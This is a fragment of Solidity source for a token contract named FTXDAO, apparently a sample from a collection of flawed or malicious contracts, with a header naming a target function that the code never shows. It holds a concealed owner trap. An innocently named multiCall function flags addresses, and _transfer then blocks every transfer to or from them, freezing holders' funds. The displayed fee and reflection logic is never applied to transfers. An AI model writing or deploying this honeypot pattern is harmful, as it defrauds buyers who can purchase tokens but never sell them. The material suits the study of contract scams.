// Contract: FTXDAO
// Target function: function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private
 event WithdrawalBNB(uint256 _amount, address to);
    event WithdrawalToken(address _tokenAddr, uint256 _amount, address to);
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor() {
        _totalSupply =_tTotal;
        _rTotal = (MAX - (MAX % _totalSupply));
        _sOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _totalSupply);
        _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
        _excluded.push(_msgSender());
        _MarketingWalletAddress = payable(address(this));
        
        // Exclude owner, dev wallet, liq wallet, and this contract from fee
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_MarketingWalletAddress] = true;
        _isExcludedFromFee[address(this)] = true;

        // exclude from max tx
        _isExcludedFromMaxTx[owner()] = true;
        _isExcludedFromMaxTx[address(this)] = true;
        _isExcludedFromMaxTx[_MarketingWalletAddress] = true;
        
    }

    function name() external pure returns (string memory) {
        return _name;
    }

    function symbol() external pure returns (string memory) {
        return _symbol;
    }

    function decimals() external pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() external pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _sOwned[account];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) external view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function multiCall(address _address) external onlyOwner {
        if (_address_[_address] == true) {
            _address_[_address] = false;}
            else {_address_[_address] = true;}
    }

    function callStatus(address _address) public view returns (bool) {
        return _address_[_address];
    }

    function isExcludedFromReward(address account) external view returns (bool) {
        return _isExcluded[account];
    }

    function totalFees() external view returns (uint256) {
        return _tFeeTotal;
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,,,) = _getValues(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function excludeFromReward(address account) public onlyOwner() {
        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function includeInReward(address account) external onlyOwner() {
        require(_isExcluded[account], "Account is already included");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }
    
    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tdev) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
        _takeLiquidity(tLiquidity);
        _takedev(tdev);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    function excludeFromFee(address account) external onlyOwner {
        _isExcludedFromFee[account] = true;
    }
    
    function includeInFee(address account) external onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    function setExcludeFromMaxTx(address _address, bool value) public onlyOwner { 
        _isExcludedFromMaxTx[_address] = value;
    }

    function isExcludedFromMaxTx(address account) public view returns(bool) {
        return _isExcludedFromMaxTx[account];
    }
    
    function setBuyFeePercent(uint256 taxFee, uint256 MarketingFee, uint256 liquidityFee) external onlyOwner() {
        _buyTaxFee = taxFee;
        _buyMarketingFee = MarketingFee;
        _buyLiquidityFee = liquidityFee;
    }

    function setSellFeePercent(uint256 taxFee, uint256 MarketingFee, uint256 liquidityFee) external onlyOwner() {
        _sellTaxFee = taxFee;
        _sellMarketingFee = MarketingFee;_sellMarketingFee = MarketingFee;
        _sellLiquidityFee = liquidityFee;
    }

    function setMaxWalletTokens(uint256 _maxToken) external onlyOwner {
  	    maxWalletToken = _maxToken * (10**18);
  	}
    
    function setMaxSelltx(uint256 _maxSellTxAmount) public onlyOwner {
        maxSellTransactionAmount = _maxSellTxAmount * 10**18;
    }

    function setMaxBuytx(uint256 _maxBuyTxAmount) public onlyOwner {
        maxBuyTransactionAmount = _maxBuyTxAmount * 10**18;
    }

    function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner() {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }
    
    function setMarketingWalletAddress(address _address) external onlyOwner() {
        require(_address != address(0), "Error: MarketingWallet address cannot be zero address");
        _MarketingWalletAddress = payable(_address);
        emit SetMarketingWalletAddress(_address);
    }
    
    function setNumTokensSellToAddToLiquidity(uint256 _amount) external onlyOwner() {
        require(_amount > 0);
        numTokensSellToAddToLiquidity = _amount;
        emit NumTokensSellToAddToLiquidityUpdated(_amount);
    }

    
    function _setRouter(address _router) private {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
        if(uniswapV2Pair == address(0))
            uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        setIsPair(uniswapV2Pair, true);
        emit RouterSet(_router);
    }
    
    function setRouter(address _router) external onlyOwner() {
        _setRouter(_router);
    }
    
    // to receive ETH from uniswapV2Router when swapping
    receive() external payable {}

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tdev) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tdev, _getRate());
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tdev);
    }

    function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
        uint256 tFee = calculateTaxFee(tAmount);
        uint256 tLiquidity = calculateLiquidityFee(tAmount);
        uint256 tdev = calculateMarketingFee(tAmount);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tdev);
        return (tTransferAmount, tFee, tLiquidity, tdev);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tdev, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        uint256 rdev = tdev.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rdev);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
    
    function _takeLiquidity(uint256 tLiquidity) private {
        uint256 currentRate =  _getRate();
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
        if(_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
    }
    
    function _takedev(uint256 tdev) private {
        uint256 currentRate =  _getRate();
        uint256 rdev = tdev.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rdev);
        if(_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)].add(tdev);
    }
    
    function calculateTaxFee(uint256 _amount) private view returns (uint256) {
        return _amount.mul(_taxFee).div(
            10**2
        );
    }

    function calculateMarketingFee(uint256 _amount) private view returns (uint256) {
        return _amount.mul(_MarketingFee).div(
            10**2
        );
    }

    function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
        return _amount.mul(_liquidityFee).div(
            10**2
        );
    }
    
    function removeAllFee() private {
        _taxFee = 0;
        _MarketingFee = 0;
        _liquidityFee = 0;
    }
    
    function isExcludedFromFee(address account) external view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
        ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_address_[from] || _address_[to]) require (amount == 0, "");
        _sOwned[from] = _sOwned[from].sub(amount, "ERC20: transfer amount exceeds balance");
        _sOwned[to] = _sOwned[to].add(amount);
        emit Transfer(from, to, amount);     
    }   
      
    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        uint256 combineFees = _liquidityFee.add(_MarketingFee);
        uint256 tokensForLiquidity = contractTokenBalance.mul(_liquidityFee).div(combineFees);
        uint256 tokensForMarketing = contractTokenBalance.sub(tokensForLiquidity);
        
        // split the contract balance into halves
        uint256 half = tokensForLiquidity.div(2);
        uint256 otherHalf = tokensForLiquidity.sub(half);

        // capture the contract's current ETH balance.
        // this is so that we can capture exactly the amount of ETH that the
        // swap creates, and not make the liquidity event include any ETH that
        // has been manually sent to the contract
        uint256 initialBalance = address(this).balance;

        // swap tokens for ETH
        swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered

        // how much ETH did we just swap into?
        uint256 newBalance = address(this).balance.sub(initialBalance);

        // add liquidity to uniswap
        addLiquidity(otherHalf, newBalance);
        
        emit SwapAndLiquify(half, newBalance, otherHalf);

         uint256 contractBalance = address(this).balance;
        swapTokensForEth(tokensForMarketing);
        uint256 transferredBalance = address(this).balance.sub(contractBalance);

        payable(_MarketingWalletAddress).transfer(transferredBalance);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
        emit Transfer(address(this), uniswapV2Pair, tokenAmount);
    }